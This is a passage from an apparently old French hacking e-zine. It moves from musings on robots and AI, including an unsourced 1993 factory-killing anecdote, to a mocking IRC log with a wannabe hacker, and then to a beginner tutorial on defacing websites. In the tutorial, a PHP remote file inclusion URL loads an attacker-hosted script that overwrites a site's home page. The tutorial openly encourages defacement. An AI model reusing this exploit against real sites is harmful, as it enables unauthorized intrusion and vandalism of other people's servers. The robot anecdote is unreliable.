On va devoir assimiler certaines fonctions à notre robot, de sorte à le rapprocher plus de l'homme. Les êtres humains possèdent la faculté d'apprendre, d'avoir des sentiments, de parler, etc... L'intelligence artificielle va consister à implementer ces facultés sur un robot. Pour le rapprocher le plus de l'être humain, on va lui donner la possibilité de réagir, par exemple si on parle de lui ou qu'on lui pose des questions...
Quand il ne sera pas content, qu'on l'interrogera sur divers sujets, notre robot devra donc pouvoir se défendre, argumenter, répondre, ou encore manifester ses sentiments. On devra évidemment y inclure une faculté de comprendre, d'écouter, et de parler.
Mais là où se rend compte que l'intelligence artificielle à des limites, c'est quand on s'aperçoit que notre robot ne pourra jamais avoir sa propre opinion tant qu'elle ne sera pas préalablement programmée par son concepteur. Pour "masquer" cette faiblesse, on pourra par exemple incrémenter au robot la fonction d'enregistrer les paroles des autres (ceux qui vont tester le robot), afin de conçevoir une opinion, impersonnelle.
En aucun cas le robot ne pourra
avoir quelque chose de "personnel" en lui. Toutes les actions
qu'il fait seront déjà pré-programmées.
Cependant, quelques exemples peuvent démontrer le contraire, assez troublants je dois dire. En 1993, dans une entreprise au Japon, un bras mécanique servant à l'assemblage des voitures a brusquement attrapé un employé, et l'a etranglé jusqu'à sa mort, pour le relacher ensuite. Une polémique a par la suite éclater, remettant en cause le danger des ordinateurs. Alors, les ordinateurs peuvent ils fabriquer leur propre conscience?
En réalité, on pourrait expliquer ce meurtre comme une simple erreur de programmation, le bras mécanique n'a fait que suivre bêtement des instructions données par des programmeurs, dont l'une d'entres elles comprenait une erreur... A moins que ce soit cete imbécile de victime qui s'est mise au devant du bras mécanique, :p , c'est bien possible... Quand aux hypothéses reçues sur le fait que les ordinateurs ont bien une conscience, je répond : négatif
C'est le programmeur qui attribue
une "cyber-conscience" à l'ordinateur, mais certainement pas
l'ordinateur lui-même, sinon ca serait grave...
Alors, dites vous :
ERRARE HUMANUM EST , l'erreur
est humaine, càd si un ordinateur se trompe, c'est parce que c'est VOUS
qui l'avez fait planté, et ce n'est pas parce que l'ordinateur veut
vous désintégrer ni parce qu'il ne vous aime pas, compris? :p
L'intelligence que nous pourrons donner aux ordinateurs ne sera jamais qu'artificielle, ne vous attendez pas à un ordinateur doué de la pensée, et qui puisse se reproduire... mdr
Merci l'intelligence artificielle,
pour ton "avant-gôut" de la science-fiction... IA rulez ...
13°/Discussion avec un lamer
Bon, ce chapitre a pour but de vous montrer à quel point les lamers sont des êtres ignares... Attention : A ne pas confondre avec newbie, le lamer se caractèrise par sa prétention hors-pair et son manque de culture catastrophique... Heuresement, les lamers sont en voie d'extinction de nos jours, de plus en plus difficiles à trouver...
Cependant il subsiste encore quelques humains de cette espéce, la plupart chattent sur IRC. Les principales activités des lamers sont le nuke, le flood et les trojans (et encore, c'est un peu complexe pour eux les trojans :p).
Je suis donc parti à la recherche des lamers disparus, tâche d'ailleurs très complexe, puisque les lamers se répandent un peu partout sur tous les canaux... Chercher et trouver des lamers sur IRC me paraissait donc une tâche assez ardue, car il faut dire que les lamers sur les salons de hacking sont toujours les premiers à être virés, vu qu'ils se la pétent un peu de trop ;) . Puis j'ai décidé d'aller sur Caramail, sur le salon #H@ckers , histoire de changer... Miséricorde... Après quelques rapides observations sur les propos tenus, j'en ai conclus que les lamers avaient certainement emigrer, en partant de IRC ou plus personne ne voulait d'eux, et en allant sur Caramail, un repère idéal puisque ce chat est essentiellement consitué de meufs et de vieux, facilement impressionables :p . Je commence déjà à placer un "Bonjour tout le monde" sur le salon #H@cKer que déjà trois abrutis me mettent en Ignore... Personne ne semble vouloir me répondre, alors je place un deuxième "Bonjour tout le monde", encore un soufflet.
Encore deux personnes me mettent en Ignore, alors enervé, j'insulte les gens qui m'ont mis en Ignore (arf, ca sert à que dalle mais ça fait du bien ), haa ba ca y'est une meuf me répond (et oui y'a même des meufs qui hackent , c'est fou non??), "cesse d'insulter les autres, c'est stupide".
Bon, résistant à la tentation de proliférer je ne sais quelles insultes misogyne, je prend quelqu'un au hasard sur la liste des connectés, et je lui adresse un MP .
Je vais maintenant reproduire
cette conversation culte, qui m'a fais carrèment mourir de rire... M'a
aussi donné l'envie d'écrire cet article, alors on peut remercier le
pov' lamer. Je garde quand même son nick secret, pour plus d'intimité,
je suis pas un salaud moi :p :
<nickairmax> Salut
<xxxxxxxxxxx> lut
<nickairmax> tu t'y connais en hacking ?
<xxxxxxxxxxx> Oué je my coné trop !
<nickairmax> Cooll, tu sé fere koi?
<nickairmax> Tu sé programmer?
<xxxxxxxxxxx> ba bien sur
<nickairmax> c vrai??? en koi?
<xxxxxxxxxxx> ba en tout
<nickairmax> wow tas lair vachement fort dis donc
<nickairmax> t'as déjà defacé des sites?
<xxxxxxxxxxx> défacer?????
<nickairmax> oué, pirater si tu prefere
<xxxxxxxxxxx> a ba oui
<xxxxxxxxxxx> regarde caramail par exemple
<xxxxxxxxxxx> kan ils disent que le site est en cours de maintenance, ca veut dire qu'on les a piraté
<nickairmax> tas deja
pirater cara toi????
<xxxxxxxxxxx> oui plus d'une fois
<nickairmax> Tas fé comment ?????
<xxxxxxxxxxx> il fo se servir de sa tete
<xxxxxxxxxxx> et avoir plein de programme
<nickairmax> tas hacké caramail avec un programme?
<xxxxxxxxxxx> oui mé je te dirais pas commen
<xxxxxxxxxxx> va sur http://(bon le site qu'il ma donné était tellement un site de lammer que je préfére pas vous donner l'adresse mdr)
<nickairmax> oooo cool merci
<xxxxxxxxxxx> de rien , avec le temps tu progressera
<nickairmax> tu pourra mapprendre a pirater caramaiL?
<xxxxxxxxxxx> t pas encore assez fort pour ca
<xxxxxxxxxxx> mais bonn, maintenant je pirate plus cara
<nickairmax> pkoi?
<xxxxxxxxxxx> la derniere fois g eu des emmerdes, ya les flics kiont debarqué
<nickairmax> nan????
<xxxxxxxxxxx> je men suis tiré avec une ammende de 5000francs
<nickairmax> ouahouuuu
<nickairmax> ce seré pas toi ki avé pirater le chat de caramail ya pas longtemps?
<xxxxxxxxxxx> si cté moi
<xxxxxxxxxxx> bof cté facile
<nickairmax> ta fé comment?
<xxxxxxxxxxx> avec un programme ossi ! mais arrete de poser des questions debiles
<nickairmax> ok, parlons dot chose
<xxxxxxxxxxx> oui
<xxxxxxxxxxx> sinon tu sé fere koi?
<nickairmax> pirater des sites en exploitant des failles php/cgi/phf/sendmail ou par buffer overflow/oversize packet/unicode
<nickairmax> pirater des mecs par trojan/nuke/netbios/virus/ping overflood et je c programmer en c/batch/basic/javascript/vb un peu de php ossi
<nickairmax> sinon j'aime bien tout se qui se rapp à internet, genre les standards et les protocoles utilisés par internet, bref, tout ca koi
<xxxxxxxxxxx> oué moi aussi ché fere ca
<xxxxxxxxxxx> sinon le hack par ftp c cool aussi
<nickairmax> oui, bien que ca soit un peu dur....
<xxxxxxxxxxx> faut sy connaitre
<nickairmax> sinon, tu
boote sous kel o.s ?
Et puis il s'est barré.. mdr.
La question piège pour débusquer un lamer, c'est généralement "tu
bootes sous kel O.S?" , car cette question comprend deux mots compliqués,
arf, "boote" et "O.S", ptdr...
Voilà, ce chapite était en fait un coup de gueule à tous les gugus de l'internet, ceux qui se la jouent Mitnick, qui se disent hackers alors qu'ils savent même pas déclarer une variable... Mdr, enfin si vous avez des logs de conversations avec des lamers faites sous IRC, n'hésitez pas à me les envoyer, je suis trop friant de ça :p.
Mort aux c0wb0yz ...
14°/Exploiter les failles php
Les failles php sont de nos jours certainement des plus appréciées par les script-kiddies... Elles nécessitent en revanche une conaissance minimale du php, un langage de programmation très proche du C, et qui est trés utile pour créer des pages web dynamiques, une alternative à JavaScript en quelque sorte... Bon, sans plus tarder, on commence !
Il va déjà vous falloir créer une home page en php, pour cela, télechargez EasyPhp, avec lequel vous pourrez mettre en route un serveur Apache et heberger des documents html, le tout très rapidement ;) .
Bon, une fois votre home page
faite (http://votre_ip), on va rechercher un site qui exploite le php...
On va prendre un exemple.
Disons que vous tombez sur une page dont l'url est :
http://www.exemple.com/index.php?page=index.htm
D'après nos connsaissances
en php, on en déduit que le site utilise la fonction include() pour
inclure différentes sections.
On pourrait par exemple tester :
http://www.exemple.com/index.php?page=page1.htm
Si l'on tape ceci dans son browser, on va être redirigé sur page1.htm, si bien entendu cette page existe.
On a donc vu que le fichier
index.php du site utlisait la fonction include($page) pour permettre
l'affichage des autres pages présentes sur le serveur, où $page est
la variable à laquelle on assigne la page que l'on veut visiter. Là
où réside le problème, c'est que l'on peut, si le serveur est mal configuré,
exporter des documents html/php en provenance d'un autre serveur.
Ainsi, si l'on essaye de taper ceci :
http://www.exemple.com/index.php?page=http://rndghost.com/index.html
Le serveur nous redigera automatiquement vers la page d'accueil de rndghost (encore de la pub pour ce site lol).
Et c'est justement cette faille là que nous allons exploiter...
On va créer un fichier sur
notre serveur Apache, nommé par exemple hack.php, contenant le script
suivant :
<?
$fp=fopen("index.html","w");
fwrite($fp,"Hacked By [Kefka]");
fclose($fp);
?>
Maintenant on tape dans la barre d'url : http://www.exemple.com/index.php?page=http://mon_ip/hack.php
Notre script php va être, pour notre plus grand plaisir, éxécuté. Maintenant si l'on retourne sur la page d'accueil de exemple.com.
Notre message, Hacked By [Kefka],
va être affiché !!!
Explications : Via la fonction
fopen(), nous avons pu définir la page que nous avons souhaiter modifier
(si cette page n'existe pas, alors elle est crée), cette page n'était
autre que la page d'accueil du site... Enfin, avec la fonction fwrite(),
nous avons remplacer le contenu de la page d'accueil par le notre, Hacked
By [Kefka], nettement plus cool :))
Voilà, c'est fini, cet article est destiné aux débutants qui n'ont pas envie de se taper deux trois heures de boulot pour obtenir un shell root sur un serveur à la con qui leur permettrait de modifier la page d'accueil d'un site..
Comme quoi, y'a pas besoin
d'être un pro pour défacer des sites :)) !!!
15°/Conclusion
Et bien, maintenant c'est le
moment de conclure... C'est marrant, mais je crois que cette conclusion
est encore plus pénible à taper que tout le reste... Bah voui, je sais
pas trop quoi mettre... Mdr, enfin, si vous avez des questions, des
commentaires, ou autres insultes à proliférer, vous pouvez toujours
me contacter par courrier éléctronique à nickairmax@caramail.com ou
encore me retrouver sur le channel #hack de irc.jeuxvideo.com , je me
ferais un plaisir de vous kicker, heu pardon, de vous aider lol. Allez,
on se retrouve au prochain numéro... +++++
THANK'S YOU FOR HACKING
COMING SOON
[Kefka]